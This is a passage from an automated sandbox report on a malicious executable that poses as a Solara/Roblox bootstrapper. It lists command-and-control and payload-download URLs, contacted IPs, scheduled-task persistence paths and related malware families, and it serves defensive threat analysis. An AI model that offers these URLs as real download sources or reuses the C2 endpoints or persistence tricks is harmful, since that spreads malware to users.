h9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W	true	Avira URL Cloud: malware	unknown
https://getsolara.dev/api/endpoint.json	false		high
https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi	false		high
http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W	true	Avira URL Cloud: malware	unknown
http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1&4e7502ef07216f4df503d363b4584dad=b37e3e015ca59c90c17488162b3a141d&6d87c9ed05422ad98f508ceb2bec8047=QY4QjY2EjYiFWO3IjM5kDZmVjNiZDZxUWZhRWNiRGMyQGOhhjM2MmZ&DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:6463	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.nodejs.org	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendalcp.beget.tech/	VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://127.0.0.1:64632y	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE3E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ncs.roblox.com/upload	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEB9000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.nodejs.org	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.27.dr	false		high
https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/raw	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://james.newtonking.com/projects/json	Bootstrapper.exe.0.dr	false		high
http://edge-term4-fra4.roblox.com	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://getsolara.dev	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDF5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com;http://127.0.0.1:6463/rpc?v=11	Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe.0.dr	false		high
https://aka.ms/vs/17/release/vc_redist.x64.exe	Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	false		high
http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljq	VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWt	VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://getsolara.dev	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDEA000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDDD000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	Bootstrapper.exe.0.dr	false		high
http://kendalcp.beget.tech	VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002DC4000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003334000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.nuget.org/packages/Newtonsoft.Json.Bson	Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe.0.dr	false		high
https://gist.githubusercontent.com/typeshi12/29ef3a44a19235b08aaf229631c024d8/raw	Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	false		high
http://127.0.0.1:6463/rpc?v=1	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE3E000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kendalcp.beP	VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003225000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDDD000.00000004.00000800.00020000.00000000.sdmp, reviewDll.exe, 0000000B.00000002.1848465544.0000000002888000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://clientsettings.roblox.com	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/pjseRvyK	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clientsettings.roblox.com	Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micros	Bootstrapper.exe, 00000001.00000002.2000622001.00000195C6572000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/rawChttps://pastebin.c	Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.101.153.173	kendalcp.beget.tech	Russian Federation	198610	BEGET-ASRU	true
104.21.93.27	getsolara.dev	United States	13335	CLOUDFLARENETUS	false
128.116.44.3	edge-term4-fra4.roblox.com	United States	22697	ROBLOX-PRODUCTIONUS	false
104.20.23.46	www.nodejs.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551560
Start date and time:	2024-11-07 21:11:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AYUGPPBj0x.exe renamed because original name is a hash value
Original Sample Name:	EAE6D4D5EAE0CF85FF69EB89946E4185.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@33/21@4/5
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Successful, ratio: 71% Number of executed functions: 433 Number of non-executed functions: 70
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AYUGPPBj0x.exe, PID 2108 because it is empty
Execution Graph export aborted for target Bootstrapper.exe, PID 2488 because it is empty
Execution Graph export aborted for target VrOvfXIxMKIwGaWOj.exe, PID 5856 because it is empty
Execution Graph export aborted for target VrOvfXIxMKIwGaWOj.exe, PID 7284 because it is empty
Execution Graph export aborted for target VrOvfXIxMKIwGaWOj.exe, PID 7312 because it is empty
Execution Graph export aborted for target reviewDll.exe, PID 6128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: AYUGPPBj0x.exe

Simulations

Behavior and APIs

Time	Type	Description
15:12:12	API Interceptor	48x Sleep call for process: Bootstrapper.exe modified
15:12:17	API Interceptor	13350298x Sleep call for process: VrOvfXIxMKIwGaWOj.exe modified
15:12:32	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:12:17	Task Scheduler	Run new task: RuntimeBroker path: "C:\Users\Public\AccountPictures\RuntimeBroker.exe"
20:12:18	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Users\Public\AccountPictures\RuntimeBroker.exe"
20:12:18	Task Scheduler	Run new task: VrOvfXIxMKIwGaWOj path: "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
20:12:18	Task Scheduler	Run new task: VrOvfXIxMKIwGaWOjV path: "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
5.101.153.173	2RM12KtuNp.exe	Get hash	malicious	DCRat	Browse
5.101.153.173	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse
104.21.93.27	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.6231.15153.exe	Get hash	malicious	Unknown	Browse
128.116.44.3	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.6231.15153.exe	Get hash	malicious	Unknown	Browse
	https://roblox.com.zm/games/10449761463/The-Strongest-Battlegrounds?privateServerLinkCode=22919554639422626360922039380445	Get hash	malicious	Unknown	Browse
	https://shrturl.net/pmf-gx3n	Get hash	malicious	Unknown	Browse
104.20.23.46	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.22026.2513.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.nodejs.org	IM3OLcx7li.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse	104.20.23.46
	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	104.20.23.46
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	104.20.23.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
edge-term4-fra4.roblox.com	IM3OLcx7li.exe	Get hash	malicious	XWorm	Browse	128.116.44.4
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	128.116.44.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.4
	SecuriteInfo.com.Win32.MalwareX-gen.6231.15153.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
	https://roblox.com.zm/games/10449761463/The-Strongest-Battlegrounds?privateServerLinkCode=22919554639422626360922039380445	Get hash	malicious	Unknown	Browse	128.116.44.3
	https://shrturl.net/pmf-gx3n	Get hash	malicious	Unknown	Browse	128.116.44.3
getsolara.dev	IM3OLcx7li.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse	172.67.203.125
	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	104.21.93.27
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.203.125

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROBLOX-PRODUCTIONUS	IM3OLcx7li.exe	Get hash	malicious	XWorm	Browse	128.116.44.4
	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse	128.116.123.4
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	128.116.110.16
	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	128.116.21.4
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	128.116.123.4
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	128.116.123.3
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	128.116.44.3
	https://www.roblox.sc/users/294681399108/profile	Get hash	malicious	Unknown	Browse	128.116.122.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
CLOUDFLARENETUS	https://www.google.com/url?sa=https://r20.rs6.net/tn.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/bradleypeltz.com%2Fpmu%2F65625cb6bf5cbcc05760d01a9c9adceac1c10797/YmlhcUBiaWEuZ292	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	https://app.pandadoc.com/document/v2?token=4f650edf0fbe63c284330a0c3237efbdcb934f50?	Get hash	malicious	Unknown	Browse	104.16.117.116
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse	172.64.144.67
	https://form.jotform.com/243104959551055	Get hash	malicious	Unknown	Browse	172.67.7.107
	Reliablecontrols-INV85907-5_837845422.doc	Get hash	malicious	Unknown	Browse	104.18.95.41
BEGET-ASRU	file.exe	Get hash	malicious	Amadey, Xmrig	Browse	87.236.16.19
	file.exe	Get hash	malicious	Xmrig	Browse	87.236.16.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	87.236.16.19
	oVN3Ocz6yr.exe	Get hash	malicious	DCRat	Browse	5.101.152.4
	hB5udQ0swC.exe	Get hash	malicious	DCRat	Browse	5.101.152.4
	c5uqDb5MlY.exe	Get hash	malicious	DCRat	Browse	5.101.153.48
	2RM12KtuNp.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	PR. No.1599-Rev.2.exe	Get hash	malicious	Unknown	Browse	45.130.41.127
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
CLOUDFLARENETUS	https://www.google.com/url?sa=https://r20.rs6.net/tn.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/bradleypeltz.com%2Fpmu%2F65625cb6bf5cbcc05760d01a9c9adceac1c10797/YmlhcUBiaWEuZ292	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	https://app.pandadoc.com/document/v2?token=4f650edf0fbe63c284330a0c3237efbdcb934f50?	Get hash	malicious	Unknown	Browse	104.16.117.116
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse	172.64.144.67
	https://form.jotform.com/243104959551055	Get hash	malicious	Unknown	Browse	172.67.7.107
	Reliablecontrols-INV85907-5_837845422.doc	Get hash	malicious	Unknown	Browse	104.18.95.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	SecuriteInfo.com.Win32.MalwareX-gen.20028.17631.exe	Get hash	malicious	AsyncRAT	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.93.27 128.116.44.3 104.20.23.46
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.93.27 128.116.44.3 104.20.23.46
